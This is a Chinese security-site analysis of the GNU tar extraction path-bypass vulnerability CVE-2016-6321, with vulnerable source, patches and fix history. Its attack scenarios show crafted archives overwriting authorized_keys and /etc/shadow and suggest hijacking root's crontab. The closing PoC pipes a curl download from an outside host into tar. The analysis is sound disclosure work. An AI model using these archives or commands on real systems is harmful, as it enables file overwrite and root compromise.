【漏洞分析】GNU tar解压路径绕过漏洞分析(CVE-2016-6321)

阅读量214802

|

发布时间 : 2016-11-07 10:11:24

http://p7.qhimg.com/t0156ddf54ebf4c907a.jpg

作者:bobb

稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

0x00 摘要

GNU tar文档管理命令是linux系统下常用的一个打包、压缩的命令,CSS(FSC1V Cyber Security Services)团队的研究员Harry Sintonen发现,tar命令在解压时存在一个路径名绕过漏洞,在一些特定的场景下,利用此漏洞甚至可导致远程代码执行。该漏洞获得CVE编号CVE-2016-6321。


0x01 细节

如果攻击者利用该漏洞,精心构造一个特殊的打包文档,受害者在使用tar命令对其进行解压操作时,不论他在命令行指定的目标路径是什么,都可被攻击者绕过,并将提交准备好的文件与目录解压到攻击者指定的地方。

通过这种方式,可以对特定文件进行覆盖与重写,如果解压操作是以高权限身份进行的,例如root账户,那么可以覆写的文件内容就更多也更重要,在最坏的场景下,攻击者可以借助此漏洞对系统的完全控制(root身份下的远程代码执行)。

这个漏洞的影响范围从GNU tar 1.14 to 1.29 (包含1.29) ,影响包括Red Hat,Alphine Linux,Red Star OS以及其他所有使用GNU tar的Linux系统。接下来我们从tar的官网上下载1.29的版本以进行源代码审计,[下载传送门]

在lib/paxnames.c文件中,有一个safer_name_suffix()函数,如果absolute_names变量为0,则将文件名中文件系统的前缀给去掉,并且会对 file_name 进行了一些安全检查 。

if ( absolute_names )
        p = file_name;
    else{
        /* Skip file system prefixes, leading file name components that contain
         * "..", and leading slashes.  */
        size_t prefix_len = FILE_SYSTEM_PREFIX_LEN( file_name );
        for ( p = file_name + prefix_len; *p; )
        {
            if ( p[0] == '.' && p[1] == '.' && (ISSLASH( p[2] ) || !p[2]) )
                prefix_len = p + 2 - file_name;
            do
            {
                char c = *p++;
                if ( ISSLASH( c ) )
                    break;
            }
            while ( *p );
        }
        for ( p = file_name + prefix_len; ISSLASH( *p ); p++ )
            continue;
        prefix_len = p - file_name;
        if ( prefix_len )
        {
            const char *prefix;
            if ( hash_string_insert_prefix( &prefix_table[link_target], file_name,
                            prefix_len, &prefix ) )
            {
                static char const *const diagnostic[] =
                {
                    N_( "Removing leading `%s' from member names" ),
                    N_( "Removing leading `%s' from hard link targets" )
                };
                WARN( (0, 0, _( diagnostic[link_target] ), prefix) );
            }
        }
    }
    //...
    return p ;

从上述代码中可以读出,经过safer_name_suffix 操作之后,不论在命令行中指定的目标路径是什么,只要文件名中包含"../",那么“../”序列之后部分的文件名与你的当前工作目录就变成了相对关系。

这个漏洞的历史情况有些复杂,

1. 在13.12.1999 commit 之前,压缩文件条目可以通过“../”字符串直接绕过解压路径问题,并将文件写到任意位置。

2. 在13.12.1999 commit之后,代码进行了一些修复,会警告压缩文件文件名中存在..字符串,并且会跳过不去处理这些文件。

3. 然而,在05.07.2003 commit 时,tar引入safer_name_suffix函数,不再使用自己的检查机制。

在05.07.2003 提交的变动中,safer_name_suffix 不再跳过文件名中包含“../”字符串的恶意成员文件,而是想办法去让纠正恶意的文件名,为了让文件名变得安全,该函数做了一些措施,删除所有存在攻击性的成分如"../"及其之前的部分,强行将它们与解压目标路径变成相对关系,看起来这的确更加安全了,但不幸的是,这些操作会带来一些副作用。

例如,test.tar包中有一个文件项,其路径为 etc/motd/../etc/shadow,你在根目录/下,你想使用tar xvf test.tar etc/motd/ 将tar包中打包的motd解压恢复到本机的motd目录中,然而在safer_name_suffix函数中经过一系列的安全操作后,已经将文件项“../”前面的内容都去掉了,路径文件名只剩下etc/shadow,这时你的/etc/shadow就被攻击者覆写了。


0x02 具体攻击场景

1. 攻击者可以用这种手段诱使用户替换一些重要的文件,例如 .ssh/authorized_keys , .bashrc , .bash_logout , .profile , .subversion 或 .anyconnect。示例代码如下:

  user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - 
  --wildcards 'blurf*'
  tar: Removing leading `blurf/../' from member names
  user@host:~$ cat .ssh/authorized_keys
  ssh-rsa AAAAB3...nU= mrrobot@fsociety
  user@host:~$

2. 有一些从web应用或者其它类似来源自动解压文件的脚本,这些脚本一般会以setuid root权限执行,通常这类脚本的解压命令如下:

 #tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc

在这种情况下,攻击者可以重写 /var/spoon/cron/crontabs/root 以获取root身份的代码执行能力;也可以将可能被root身份执行的二进制文件替换成一个有后门的版本;或者投放一个setuid root的二进制文件,等待被管理员执行,使攻击者有机会获取root权限。

在现实生活中,这种场景下的漏洞利用曾有过好几例成功的案例。

3. 以root身份执行解压命令也可能被攻击 。例如上文中提到覆写/etc/shadow的例子

# tar -C / -xvf archive.tar etc/motd
  tar: Removing leading `etc/motd/../' from member names
  etc/motd/../etc/shadow
#

如果–exclude规则与–anchored选项同时使用,那么即使手动加了–exclude规则也没有用,例如:

#tar -C / -xvf archive.tar --anchored --exclude etc/shadow 
tar: Removing leading `etc/motd/../' from member names 
etc/motd/../etc/shadow

在两种情况下,攻击者都成功地把/etc/shadow替换成了任意内容。

不过,在实际利用这个漏洞时,攻击者需要首先知道一些特定的前导信息,例如解压命令执行时实际在命令行下指定的路径名,毕竟在构造攻击tar包时“../”序列之前的路径前缀需要符合tar命令中所输入的路径,攻击才能奏效。


0x03 漏洞修复补丁

漏洞作者提出了一些解决方法,并给出了补丁文件,他的想法是直接在safer_name_suffix函数中添加逻辑,如果检测到../字符串,直接报FATAL_ERROR,然后退出程序。补丁内容如下:

--- lib/paxnames.c.orig    2016-04-06 00:04:47.314860045 +0300
+++ lib/paxnames.c      2016-04-06 02:08:44.962297881 +0300
@@ -18,6 +18,7 @@
#include <system.h>
#include <hash.h>
#include <paxlib.h>
+#include <quotearg.h>
/* Hash tables of strings.  */
@@ -114,7 +115,15 @@
      for (p = file_name + prefix_len; *p; )
        {
          if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
-          prefix_len = p + 2 - file_name;
+            {
+            static char const *const diagnostic[] =
+            {
+              N_("%s: Member name contains '..'"),
+              N_("%s: Hard link target contains '..'")
+            };
+            FATAL_ERROR ((0, 0, _(diagnostic[link_target]),
+                          quotearg_colon (file_name)));
+          }
          do
            {

虽然这种做法简单粗暴,的确把漏洞给补了,但是并不是完美的补丁,毕竟在恢复网站或者配置的时候,还原到一半就停下来了,这体验肯定是tar开发者自身都不能容忍的。后来,开发者在scr/extract.c代码中做了修改,当检测到文件名中存在../时,直接跳过该文件,时间仿佛回到了十七年前那个冬天的13.12.1999 commit。

diff --git a/src/extract.c b/src/extract.c
index f982433..7904148 100644
--- a/src/extract.c
+++ b/src/extract.c
@@ -1629,12 +1629,20 @@ extract_archive (void)
 {
   char typeflag;
   tar_extractor_t fun;
+  bool skip_dotdot_name;
   fatal_exit_hook = extract_finish;
   set_next_block_after (current_header);
+  skip_dotdot_name = (!absolute_names_option
+              && contains_dot_dot (current_stat_info.orig_file_name));
+  if (skip_dotdot_name)
+    ERROR ((0, 0, _("%s: Member name contains '..'"),
+        quotearg_colon (current_stat_info.orig_file_name)));
+
   if (!current_stat_info.file_name[0]
+      || skip_dotdot_name
       || (interactive_option
       && !confirm ("extract", current_stat_info.file_name)))
     {


0x04 最后

虽然有些攻击看起来条件很难满足,但是在实际的攻击场景中,这些看起来很苛刻的洞可能正有奇效。

以下是漏洞作者给出的PoC,用户可用其自检,目前正是漏洞生存周期0day与1day交替阶段,基本都可成功。

$ curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
$ cat etc/shadow

0x05 参考链接

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339

[2] https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt

[3] https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch

[4] https://www.gnu.org/software/tar/

本文由Elph原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84859

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
Elph
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66